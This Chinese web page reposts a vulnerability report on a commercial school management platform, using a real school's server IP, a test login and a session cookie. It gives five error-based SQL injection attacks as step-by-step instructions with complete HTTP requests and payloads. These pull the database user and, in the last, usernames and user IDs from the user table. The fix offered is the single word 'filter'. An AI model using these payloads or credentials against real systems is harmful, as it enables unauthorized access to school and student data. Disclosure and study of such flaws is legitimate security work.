网站地图    收藏   

主页 > 入门引导 > 黑客攻防 >

通用型校园管理平台SQL注入1-5 - 网站安全 - 自学

来源:自学PHP网    时间:2015-04-15 15:00 作者: 阅读:

[导读] 通用型校园管理平台SQL注入北京乐知行软件有限公司,通用型校园管理平台官方案例:http: www lezhixing com cn cms lzx case index jhtml我们那北京101中学为例:案例网址:http: 202 108 154 209 datace...

北京乐知行软件有限公司,通用型校园管理平台
 
官方案例:http://www.lezhixing.com.cn/cms/lzx/case/index.jhtml
 
我们那北京101中学为例:
 
 
 
案例网址:http://202.108.154.209/datacenter/#
 
 
 
测试用户:
 
test123/123456
 
 
 
第一处SQL注入:
 
1、普通学生用户登陆
 
2、一周日程——导出日程——确定
 
3、发送下面请求:
 
链接:http://202.108.154.209/oa/calendar/exportExcel.do
 
POST:exportStartDate=2014-03-03&exportEndDate=2014-03-04&exportCalendars=zhaojinfeng2%E6%97%A5%E5%8E%86&exportCalendarIds=16d07c5ff5e44036b5a44751ab2df91e') AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT((user()),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) and ('1'='1

 

 
在参数exportCalendars处存在SQL注入。
 
发送请求后,会下载文件,注入后的内容就在此文件里。
 
确定,下载文件。
 
打开文件就是我们注入后的结果:
第二处SQL注入:
 
1、普通学生用户登陆
 
2、一周日程——选择一个日程进行修改(没有日程新建一个)——保存修改
 
3、在保存是抓包修改
 
问题参数在c0-e1
 
修改c0-e1参数,发送修改后的请如下:
 
POST /oa/dwr/call/plaincall/calendarRemoteCallController.saveEvent.dwr HTTP/1.1

Host: 202.108.154.209

Cookie: AQ_AUTHENTICATION_COOKIE_KEY=aae03b698ecd444aa0ae02f8d87c026a



callCount=1

windowName=pageContent

c0-scriptName=calendarRemoteCallController

c0-methodName=saveEvent

c0-id=0

c0-e1=string:0e362687769f426380ab1b8a015ef014' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x23,(SELECT user()),0x23,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'a'='a

c0-e2=string:

c0-e3=string:1111111111111

c0-e4=string:2014-03-04

c0-e5=string:2014-03-04

c0-e6=boolean:true

c0-e7=boolean:true

c0-e8=string:rgb(230%2C115%2C153)

c0-e9=number:1

c0-e10=null:null

c0-e11=string:-1

c0-e12=number:2

c0-e13=string:arrange

c0-e14=number:0

c0-e15=null:null

c0-e16=null:null

c0-e17=string:

c0-e18=string:

c0-e19=string:

c0-e20=string:

c0-e21=string:0

c0-param0=Object_Object:{id:reference:c0-e1, eventId:reference:c0-e2, title:reference:c0-e3, start:reference:c0-e4, end:reference:c0-e5, allDay:reference:c0-e6, editable:reference:c0-e7, backgroundColor:reference:c0-e8, priority:reference:c0-e9, calendarNameId:reference:c0-e10, remind:reference:c0-e11, privacy:reference:c0-e12, eventType:reference:c0-e13, eventStatus:reference:c0-e14, calendarProjectId:reference:c0-e15, arrangeRelation:reference:c0-e16, messageTaskId:reference:c0-e17, dutier:reference:c0-e18, parter:reference:c0-e19, site:reference:c0-e20, xlts:reference:c0-e21}

c0-param1=string:

c0-param2=boolean:false

c0-param3=boolean:true

batchId=25

page=%2Foa%2F%2Fcalendar%2FinitCalendar.do%3F__time__%3D1394571647842

httpSessionId=

scriptSessionId=4C1126686168926E787E3EBB1EA961EF

 

 
返回结果会报错,在报错信息中成功注入出我们想要的数据:
 
第三处SQL注入:
 
1、普通学生用户登陆
 
2、我的桌面——添加我的投票——主题搜索
 
3、在搜索内容时,抓包,修改criteria,criteria参数存在注入。
 
发送如下请求:
 
POST /datacenter/vote/myVoteList.do HTTP/1.1

Host: 202.108.154.209

Cookie: aae03b698ecd444aa0ae02f8d87c026a



_search=false&nd=1394576122963&rows=50&page=1&sidx=from_date&sord=desc&criteria=theme+like+'%25123%25'+AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x23,(SELECT user()),0x23,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'a'='a'

 

 
成功注入出想要的数据:
 
 
第四处SQL注入:
 
1、普通学生用户登陆
 
2、我的门户——添加门户项——常用信息
 
3、发布常用信息
 
4、发布消息时,截包,修改,参数ID存在SQL注入
 
发送如下请求:
 
链接:http://202.108.154.209/oa//mail/personal/save.do
POST:privat=2&portlet=portlet&xxzt=complete&id=822b6cdadc7140fe91da513963d4efdc' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x23,(SELECT user()),0x23,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) and 'a'='a&xxbt=222222&fbsf=个人:zhaojinfeng2&fjrsf=&info=<p>222222<br/></p>&editorValue=<p>222222<br/></p>

Cookie: AQ_AUTHENTICATION_COOKIE_KEY=aae03b698ecd444aa0ae02f8d87c026a

 

成功注入处user()的数据:
 
 
第五处SQL注入:
 
1、普通学生用户登陆
 
2、我的桌面——添加——校园办公
 
3、进入校园办公——信件中心——写信
 
4、写信时——预览,抓包
 
到此连接时http://202.108.154.209/oa/dwr/call/plaincall/MailController.getNotReadtotalNumByClassify.dwr 
 
POST参数c0-param0存在注入,此时修改c0-param0为:
 
c0-param0=string:2' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x23,(SELECT concat(username,0x23,user_id) from aq_user limit 0,1),0x23,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'a'='a
 
即可注入出username和user_id
 
发送如下请求:
 
连接:http://202.108.154.209/oa/dwr/call/plaincall/MailController.getNotReadtotalNumByClassify.dwr 
 
 
POST:

callCount=1

windowName=

c0-scriptName=MailController

c0-methodName=getNotReadtotalNumByClassify

c0-id=0

c0-param0=string:2' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x23,(SELECT concat(username,0x23,user_id) from aq_user limit 0,1),0x23,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'a'='a

batchId=112

page=%2Fdatacenter%2Fportlet%2FshowPortletList.do%3FmenuId%3Ded57d3b21fff48738552a4601ed30e55

httpSessionId=

scriptSessionId=3756A70426EB76F99A0BBDDF3AC4FEBC

 



修复方案:

过滤

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论